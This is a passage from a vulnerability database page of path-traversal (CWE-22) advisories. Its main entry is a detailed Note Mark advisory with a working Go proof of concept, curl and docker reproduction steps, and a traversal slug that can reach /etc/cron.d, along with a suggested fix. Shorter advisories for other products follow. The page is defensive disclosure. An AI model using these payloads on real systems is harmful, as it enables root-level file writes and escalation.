CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13217 vulnerabilities reference this CWE, most recent first.
GHSA-RQRH-8WPV-X7HH
Vulnerability from github – Published: 2026-07-09 13:41 – Updated: 2026-07-09 13:41Summary
Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim.
The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.
This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added filepath.Base(asset.Name) to sanitize the asset filename, but the adjacent path components book.Slug and note.Slug — used in the very same path.Join calls in the same two export functions — were left raw, and their input-side pattern guard is bypassable as shown above.
Vulnerable code
Slug input validation (backend/db/types.go, v0.19.4):
type CreateBook struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
IsPublic bool `json:"isPublic,omitempty" default:"false"`
}
type CreateNote struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
}
huma applies the pattern UNANCHORED (github.com/danielgtaylor/huma/v2@v2.37.3):
// schema.go
if s.Pattern != "" {
s.patternRe = regexp.MustCompile(s.Pattern)
// validate.go
if s.patternRe != nil {
if !s.patternRe.MatchString(str) {
res.Add(path, v, s.msgPattern)
regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape") is true (it matches the tmp substring), so the traversal slug passes and BooksService.CreateBook / NotesService store it verbatim.
Export sinks (backend/cli/migrate.go, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:
// commandMigrateExportDataV1 / commandMigrateExportData
for _, book := range user.Books {
bookDir := path.Join(exportDir, user.Username, book.Slug) // book.Slug raw
for _, note := range book.Notes {
noteDir := path.Join(bookDir, note.Slug) // note.Slug raw
if err := os.MkdirAll(noteDir, os.ModePerm); err != nil {
return err
}
f, err := os.Create(path.Join(noteDir, "_index.md")) // escapes exportDir
// the same functions DO sanitize the sibling asset name:
assetFileName := filepath.Base(asset.Name)
if assetFileName == "/" || assetFileName == "." {
log.Printf("disallowed asset filename found '%s', skipping\n", asset.Name)
continue
}
f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName))
Impact
A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing slug. When an administrator later runs note-mark migrate export or export-v1 (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's _index.md to an arbitrary filesystem location outside the export directory. With root, this allows writing to /etc/cron.d/, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.
Attack scenario
- Attacker registers / uses any normal user account.
- Attacker
POST /api/books(or a note) withslug=../../../../../../etc/cron.d/x(passes the unanchored[a-z0-9-]+pattern). Stored verbatim. - Admin runs
note-mark migrate export-v1 --export-dir /data/backup(root). - Exporter does
path.Join("/data/backup", username, "../../../../../../etc/cron.d/x")which yields/etc/cron.d/x, thenos.MkdirAllcreates it andos.Create(path.Join(noteDir, "_index.md"))writes attacker-influenced content outside/data/backup.
Proof of concept
Self-contained Go reproducer pinning huma v2.37.3 (Note Mark's exact version) and Note Mark's exact CreateBook DTO + the exact export path.Join expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.
// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3
package main
import (
"context"
"fmt"
"net/http"
"net/http/httptest"
"os"
"path"
"strings"
"github.com/danielgtaylor/huma/v2"
"github.com/danielgtaylor/huma/v2/adapters/humago"
)
// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.
type CreateBook struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
IsPublic bool `json:"isPublic,omitempty" default:"false"`
}
type CreateBookInput struct{ Body CreateBook }
type CreateBookOutput struct {
Body struct {
Slug string `json:"slug"`
}
}
func main() {
mux := http.NewServeMux()
api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0"))
var stored string
huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"},
func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {
stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim
out := &CreateBookOutput{}
out.Body.Slug = in.Body.Slug
return out, nil
})
const traversalSlug = `../../../../../../tmp/nmpoc-escape`
body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug)
req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
mux.ServeHTTP(rec, req)
fmt.Printf("[validation] slug=%q status=%d stored=%q\n", traversalSlug, rec.Code, stored)
// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.
negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`))
negReq.Header.Set("Content-Type", "application/json")
negRec := httptest.NewRecorder()
mux.ServeHTTP(negRec, negReq)
fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (expect 422)\n", negRec.Code)
// Export sink expression from backend/cli/migrate.go:187,191,203.
exportDir := "/tmp/nmpoc-exportroot"
_ = os.RemoveAll(exportDir)
_ = os.RemoveAll("/tmp/nmpoc-escape")
_ = os.MkdirAll(exportDir, 0o755)
bookDir := path.Join(exportDir, "victim", stored)
noteDir := path.Join(bookDir, "n")
_ = os.MkdirAll(noteDir, 0o755)
outPath := path.Join(noteDir, "_index.md")
_ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0o644)
escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/")
fmt.Printf("[export] joined=%q escapedExportDir=%v\n", outPath, escaped)
if d, err := os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == nil {
fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q\n", strings.TrimSpace(string(d)))
}
}
Verbatim output (go run ., huma v2.37.3, go1.26.1):
[validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape"
[neg-control] slug="@@@@" status=422 (expect 422)
[export] joined="/tmp/nmpoc-escape/n/_index.md" escapedExportDir=true
[export] SENTINEL written OUTSIDE exportDir => "PWNED-NOTE-CONTENT"
The traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export path.Join writes the note file outside the export root.
End-to-end reproduction
Against the released image ghcr.io/enchant97/note-mark-aio:0.19.4 (the GHSA-g49p fix release):
# 1. start
docker run -d --name nm -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" \
-e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.4
# 2. register + login (capture Auth-Session-Token cookie)
curl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Attack3r!","name":"a"}'
TOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}' \
| sed -n 's/.*Auth-Session-Token=\([^;]*\).*/\1/p')
# 3. create a book with a traversing slug — passes the [a-z0-9-]+ pattern
curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' \
-b "Auth-Session-Token=$TOKEN" \
-d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}'
# response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201)
# 4. add a note under that book (any valid note slug), then trigger admin export
docker exec nm /note-mark migrate export-v1 --export-dir /data/backup
# 5. observe the note _index.md written outside /data/backup
docker exec nm ls -la /tmp/nmpoc-escape/
The self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).
Suggested fix
Apply filepath.Base() (the same idiom already used for asset.Name in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:
bookSlug := filepath.Base(book.Slug)
noteSlug := filepath.Base(note.Slug)
if bookSlug != book.Slug || noteSlug != note.Slug {
log.Printf("disallowed slug found, skipping book=%q note=%q\n", book.Slug, note.Slug)
continue
}
bookDir := path.Join(exportDir, user.Username, bookSlug)
noteDir := path.Join(bookDir, noteSlug)
Root cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex pattern:"^[a-z0-9-]+$", or reject strings.ContainsAny(slug, "/\\.") in the create/update handlers (mirroring the PostNoteAsset header check added by GHSA-g49p). user.Username (pattern:"[a-zA-Z0-9]+") is also unanchored and should be anchored for the same reason.
Affected versions
<= v0.19.4 (current latest release). The slug components are used unsanitized in backend/cli/migrate.go at v0.19.4, the release that fixed the sibling asset.Name traversal (GHSA-g49p-4qxj-88v3).
Fix PR
A fix is prepared on the temporary private advisory fork: enchant97/note-mark-ghsa-rqrh-8wpv-x7hh PR #1. It anchors the slug/username pattern tags (^[a-z0-9-]+$ / ^[a-zA-Z0-9]+$) at the input layer and adds defense-in-depth filepath.Base() checks to both export functions, plus a regression test. go test ./backend/db/ passes with the fix and fails against the old unanchored pattern.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/enchant97/note-mark/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260601210719-67b7de04308a"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50553"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T13:41:35Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nNote Mark validates book and note `slug` values with the OpenAPI/huma tag `pattern:\"[a-z0-9-]+\"`. huma compiles this with `regexp.MustCompile(s.Pattern)` and tests it with `patternRe.MatchString(str)`, an UNANCHORED match. Because the pattern is not anchored (`^...$`), any string that merely CONTAINS one `[a-z0-9-]` substring passes validation. A slug such as `../../../../../../tmp/escape` is accepted and stored verbatim.\n\nThe data-export CLI commands (`note-mark migrate export` and `note-mark migrate export-v1`) join these unsanitized slugs straight into the output path with `path.Join` / `filepath.Join`, then `os.MkdirAll` the directory and `os.Create` the note file. `path.Join` resolves the `../` segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.\n\nThis is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added `filepath.Base(asset.Name)` to sanitize the asset filename, but the adjacent path components `book.Slug` and `note.Slug` \u2014 used in the very same `path.Join` calls in the same two export functions \u2014 were left raw, and their input-side `pattern` guard is bypassable as shown above.\n\n## Vulnerable code\n\nSlug input validation (`backend/db/types.go`, v0.19.4):\n\n```go\ntype CreateBook struct {\n\tName string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n\tIsPublic bool `json:\"isPublic,omitempty\" default:\"false\"`\n}\n\ntype CreateNote struct {\n\tName string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n}\n```\n\nhuma applies the pattern UNANCHORED (`github.com/danielgtaylor/huma/v2@v2.37.3`):\n\n```go\n// schema.go\nif s.Pattern != \"\" {\n\ts.patternRe = regexp.MustCompile(s.Pattern)\n```\n\n```go\n// validate.go\nif s.patternRe != nil {\n\tif !s.patternRe.MatchString(str) {\n\t\tres.Add(path, v, s.msgPattern)\n```\n\n`regexp.MatchString(\"[a-z0-9-]+\", \"../../../../tmp/escape\")` is `true` (it matches the `tmp` substring), so the traversal slug passes and `BooksService.CreateBook` / `NotesService` store it verbatim.\n\nExport sinks (`backend/cli/migrate.go`, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:\n\n```go\n// commandMigrateExportDataV1 / commandMigrateExportData\nfor _, book := range user.Books {\n\tbookDir := path.Join(exportDir, user.Username, book.Slug) // book.Slug raw\n\tfor _, note := range book.Notes {\n\t\tnoteDir := path.Join(bookDir, note.Slug) // note.Slug raw\n\t\tif err := os.MkdirAll(noteDir, os.ModePerm); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tf, err := os.Create(path.Join(noteDir, \"_index.md\")) // escapes exportDir\n```\n\n```go\n// the same functions DO sanitize the sibling asset name:\nassetFileName := filepath.Base(asset.Name)\nif assetFileName == \"/\" || assetFileName == \".\" {\n\tlog.Printf(\"disallowed asset filename found \u0027%s\u0027, skipping\\n\", asset.Name)\n\tcontinue\n}\nf, err := os.Create(path.Join(assetsDir, asset.ID.String()+\".\"+assetFileName))\n```\n\n## Impact\n\nA low-privilege authenticated user (any registered account that can create a book/note) sets a traversing `slug`. When an administrator later runs `note-mark migrate export` or `export-v1` (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note\u0027s `_index.md` to an arbitrary filesystem location outside the export directory. With root, this allows writing to `/etc/cron.d/`, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.\n\n## Attack scenario\n\n1. Attacker registers / uses any normal user account.\n2. Attacker `POST /api/books` (or a note) with `slug` = `../../../../../../etc/cron.d/x` (passes the unanchored `[a-z0-9-]+` pattern). Stored verbatim.\n3. Admin runs `note-mark migrate export-v1 --export-dir /data/backup` (root).\n4. Exporter does `path.Join(\"/data/backup\", username, \"../../../../../../etc/cron.d/x\")` which yields `/etc/cron.d/x`, then `os.MkdirAll` creates it and `os.Create(path.Join(noteDir, \"_index.md\"))` writes attacker-influenced content outside `/data/backup`.\n\n## Proof of concept\n\nSelf-contained Go reproducer pinning `huma v2.37.3` (Note Mark\u0027s exact version) and Note Mark\u0027s exact `CreateBook` DTO + the exact export `path.Join` expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.\n\n```go\n// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\n\t\"github.com/danielgtaylor/huma/v2\"\n\t\"github.com/danielgtaylor/huma/v2/adapters/humago\"\n)\n\n// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.\ntype CreateBook struct {\n\tName string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n\tIsPublic bool `json:\"isPublic,omitempty\" default:\"false\"`\n}\ntype CreateBookInput struct{ Body CreateBook }\ntype CreateBookOutput struct {\n\tBody struct {\n\t\tSlug string `json:\"slug\"`\n\t}\n}\n\nfunc main() {\n\tmux := http.NewServeMux()\n\tapi := humago.New(mux, huma.DefaultConfig(\"note-mark-poc\", \"1.0.0\"))\n\tvar stored string\n\thuma.Register(api, huma.Operation{OperationID: \"create-book\", Method: http.MethodPost, Path: \"/api/books\"},\n\t\tfunc(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {\n\t\t\tstored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim\n\t\t\tout := \u0026CreateBookOutput{}\n\t\t\tout.Body.Slug = in.Body.Slug\n\t\t\treturn out, nil\n\t\t})\n\n\tconst traversalSlug = `../../../../../../tmp/nmpoc-escape`\n\tbody := fmt.Sprintf(`{\"name\":\"x\",\"slug\":%q}`, traversalSlug)\n\treq := httptest.NewRequest(http.MethodPost, \"/api/books\", strings.NewReader(body))\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\trec := httptest.NewRecorder()\n\tmux.ServeHTTP(rec, req)\n\tfmt.Printf(\"[validation] slug=%q status=%d stored=%q\\n\", traversalSlug, rec.Code, stored)\n\n\t// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.\n\tnegReq := httptest.NewRequest(http.MethodPost, \"/api/books\", strings.NewReader(`{\"name\":\"x\",\"slug\":\"@@@@\"}`))\n\tnegReq.Header.Set(\"Content-Type\", \"application/json\")\n\tnegRec := httptest.NewRecorder()\n\tmux.ServeHTTP(negRec, negReq)\n\tfmt.Printf(\"[neg-control] slug=\\\"@@@@\\\" status=%d (expect 422)\\n\", negRec.Code)\n\n\t// Export sink expression from backend/cli/migrate.go:187,191,203.\n\texportDir := \"/tmp/nmpoc-exportroot\"\n\t_ = os.RemoveAll(exportDir)\n\t_ = os.RemoveAll(\"/tmp/nmpoc-escape\")\n\t_ = os.MkdirAll(exportDir, 0o755)\n\tbookDir := path.Join(exportDir, \"victim\", stored)\n\tnoteDir := path.Join(bookDir, \"n\")\n\t_ = os.MkdirAll(noteDir, 0o755)\n\toutPath := path.Join(noteDir, \"_index.md\")\n\t_ = os.WriteFile(outPath, []byte(\"PWNED-NOTE-CONTENT\\n\"), 0o644)\n\tescaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+\"/\")\n\tfmt.Printf(\"[export] joined=%q escapedExportDir=%v\\n\", outPath, escaped)\n\tif d, err := os.ReadFile(\"/tmp/nmpoc-escape/n/_index.md\"); err == nil {\n\t\tfmt.Printf(\"[export] SENTINEL written OUTSIDE exportDir =\u003e %q\\n\", strings.TrimSpace(string(d)))\n\t}\n}\n```\n\nVerbatim output (`go run .`, huma v2.37.3, go1.26.1):\n\n```\n[validation] slug=\"../../../../../../tmp/nmpoc-escape\" status=200 stored=\"../../../../../../tmp/nmpoc-escape\"\n[neg-control] slug=\"@@@@\" status=422 (expect 422)\n[export] joined=\"/tmp/nmpoc-escape/n/_index.md\" escapedExportDir=true\n[export] SENTINEL written OUTSIDE exportDir =\u003e \"PWNED-NOTE-CONTENT\"\n```\n\nThe traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export `path.Join` writes the note file outside the export root.\n\n## End-to-end reproduction\n\nAgainst the released image `ghcr.io/enchant97/note-mark-aio:0.19.4` (the GHSA-g49p fix release):\n\n```bash\n# 1. start\ndocker run -d --name nm -p 8080:8080 -e JWT_SECRET=\"$(openssl rand -base64 32)\" \\\n -e PUBLIC_URL=\"http://localhost:8080\" ghcr.io/enchant97/note-mark-aio:0.19.4\n# 2. register + login (capture Auth-Session-Token cookie)\ncurl -s -X POST localhost:8080/api/users -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"name\":\"a\"}\u0027\nTOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"grant_type\":\"password\"}\u0027 \\\n | sed -n \u0027s/.*Auth-Session-Token=\\([^;]*\\).*/\\1/p\u0027)\n# 3. create a book with a traversing slug \u2014 passes the [a-z0-9-]+ pattern\ncurl -s -X POST localhost:8080/api/books -H \u0027Content-Type: application/json\u0027 \\\n -b \"Auth-Session-Token=$TOKEN\" \\\n -d \u0027{\"name\":\"x\",\"slug\":\"../../../../../../tmp/nmpoc-escape\"}\u0027\n# response echoes \"slug\":\"../../../../../../tmp/nmpoc-escape\" (accepted, 200/201)\n# 4. add a note under that book (any valid note slug), then trigger admin export\ndocker exec nm /note-mark migrate export-v1 --export-dir /data/backup\n# 5. observe the note _index.md written outside /data/backup\ndocker exec nm ls -la /tmp/nmpoc-escape/\n```\n\nThe self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).\n\n## Suggested fix\n\nApply `filepath.Base()` (the same idiom already used for `asset.Name` in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:\n\n```go\nbookSlug := filepath.Base(book.Slug)\nnoteSlug := filepath.Base(note.Slug)\nif bookSlug != book.Slug || noteSlug != note.Slug {\n\tlog.Printf(\"disallowed slug found, skipping book=%q note=%q\\n\", book.Slug, note.Slug)\n\tcontinue\n}\nbookDir := path.Join(exportDir, user.Username, bookSlug)\nnoteDir := path.Join(bookDir, noteSlug)\n```\n\nRoot cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex `pattern:\"^[a-z0-9-]+$\"`, or reject `strings.ContainsAny(slug, \"/\\\\.\")` in the create/update handlers (mirroring the `PostNoteAsset` header check added by GHSA-g49p). `user.Username` (`pattern:\"[a-zA-Z0-9]+\"`) is also unanchored and should be anchored for the same reason.\n\n## Affected versions\n\n`\u003c= v0.19.4` (current latest release). The slug components are used unsanitized in `backend/cli/migrate.go` at v0.19.4, the release that fixed the sibling `asset.Name` traversal (GHSA-g49p-4qxj-88v3).\n\n## Fix PR\n\nA fix is prepared on the temporary private advisory fork: `enchant97/note-mark-ghsa-rqrh-8wpv-x7hh` PR #1. It anchors the slug/username `pattern` tags (`^[a-z0-9-]+$` / `^[a-zA-Z0-9]+$`) at the input layer and adds defense-in-depth `filepath.Base()` checks to both export functions, plus a regression test. `go test ./backend/db/` passes with the fix and fails against the old unanchored pattern.\n\n## Credit\n\nReported by tonghuaroot.",
"id": "GHSA-rqrh-8wpv-x7hh",
"modified": "2026-07-09T13:41:35Z",
"published": "2026-07-09T13:41:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-rqrh-8wpv-x7hh"
},
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/commit/67b7de04308a858ef27ceff87b514067b6d667e5"
},
{
"type": "PACKAGE",
"url": "https://github.com/enchant97/note-mark"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)"
}
GHSA-RQVP-8XWH-MCM4
Vulnerability from github – Published: 2025-09-10 18:30 – Updated: 2025-09-10 21:30oasys v1.1 is vulnerable to Directory Traversal in ProcedureController.
{
"affected": [],
"aliases": [
"CVE-2025-29592"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-10T16:15:36Z",
"severity": "MODERATE"
},
"details": "oasys v1.1 is vulnerable to Directory Traversal in ProcedureController.",
"id": "GHSA-rqvp-8xwh-mcm4",
"modified": "2025-09-10T21:30:19Z",
"published": "2025-09-10T18:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29592"
},
{
"type": "WEB",
"url": "https://github.com/qkdjksfkeg/Security-Collections/blob/main/PathTraversal.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RQXX-V2C9-CXCP
Vulnerability from github – Published: 2026-01-02 18:30 – Updated: 2026-01-06 18:31An issue in Vatilon v1.12.37-20240124 allows attackers to access sensitive directories and files via a directory traversal.
{
"affected": [],
"aliases": [
"CVE-2025-67160"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-02T17:16:23Z",
"severity": "HIGH"
},
"details": "An issue in Vatilon v1.12.37-20240124 allows attackers to access sensitive directories and files via a directory traversal.",
"id": "GHSA-rqxx-v2c9-cxcp",
"modified": "2026-01-06T18:31:32Z",
"published": "2026-01-02T18:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67160"
},
{
"type": "WEB",
"url": "https://github.com/Remenis/CVE-2025-67160"
},
{
"type": "WEB",
"url": "http://vatilon.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RR2Q-WG42-C2XP
Vulnerability from github – Published: 2022-05-02 00:01 – Updated: 2022-05-02 00:01Directory traversal vulnerability in index.php in (1) WSN Forum 4.1.43 and earlier, (2) Gallery 4.1.30 and earlier, (3) Knowledge Base (WSNKB) 4.1.36 and earlier, (4) Links 4.1.44 and earlier, and possibly (5) Classifieds before 4.1.30 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the TID parameter, as demonstrated by uploading a .jpg file containing PHP sequences.
{
"affected": [],
"aliases": [
"CVE-2008-3555"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-08-08T19:41:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in index.php in (1) WSN Forum 4.1.43 and earlier, (2) Gallery 4.1.30 and earlier, (3) Knowledge Base (WSNKB) 4.1.36 and earlier, (4) Links 4.1.44 and earlier, and possibly (5) Classifieds before 4.1.30 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the TID parameter, as demonstrated by uploading a .jpg file containing PHP sequences.",
"id": "GHSA-rr2q-wg42-c2xp",
"modified": "2022-05-02T00:01:19Z",
"published": "2022-05-02T00:01:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3555"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44236"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6208"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31392"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4120"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RR36-3HQ5-MQJ8
Vulnerability from github – Published: 2024-03-01 00:30 – Updated: 2025-05-19 18:30Session version 1.17.5 allows obtaining internal application files and public
files from the user's device without the user's consent. This is possible
because the application is vulnerable to Local File Read via chat attachments.
{
"affected": [],
"aliases": [
"CVE-2024-2045"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-01T00:15:52Z",
"severity": "MODERATE"
},
"details": "Session version 1.17.5 allows obtaining internal application files and public\n\nfiles from the user\u0027s device without the user\u0027s consent. This is possible\n\nbecause the application is vulnerable to Local File Read via chat attachments.",
"id": "GHSA-rr36-3hq5-mqj8",
"modified": "2025-05-19T18:30:35Z",
"published": "2024-03-01T00:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2045"
},
{
"type": "WEB",
"url": "https://fluidattacks.com/advisories/newman"
},
{
"type": "WEB",
"url": "https://github.com/oxen-io/session-android"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RR44-8J7R-JG2Q
Vulnerability from github – Published: 2025-12-03 21:31 – Updated: 2025-12-05 02:13alexusmai laravel-file-manager 3.3.1 and below is vulnerable to Directory Traversal. The zip/archiving functionality allows an attacker to create archives containing files and directories outside the intended scope due to improper path validation.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "alexusmai/laravel-file-manager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65345"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-05T02:13:01Z",
"nvd_published_at": "2025-12-03T20:16:26Z",
"severity": "LOW"
},
"details": "alexusmai laravel-file-manager 3.3.1 and below is vulnerable to Directory Traversal. The zip/archiving functionality allows an attacker to create archives containing files and directories outside the intended scope due to improper path validation.",
"id": "GHSA-rr44-8j7r-jg2q",
"modified": "2025-12-05T02:13:01Z",
"published": "2025-12-03T21:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65345"
},
{
"type": "PACKAGE",
"url": "https://github.com/alexusmai/laravel-file-manager"
},
{
"type": "WEB",
"url": "https://github.com/tlekrean/CVE-2025-65345"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
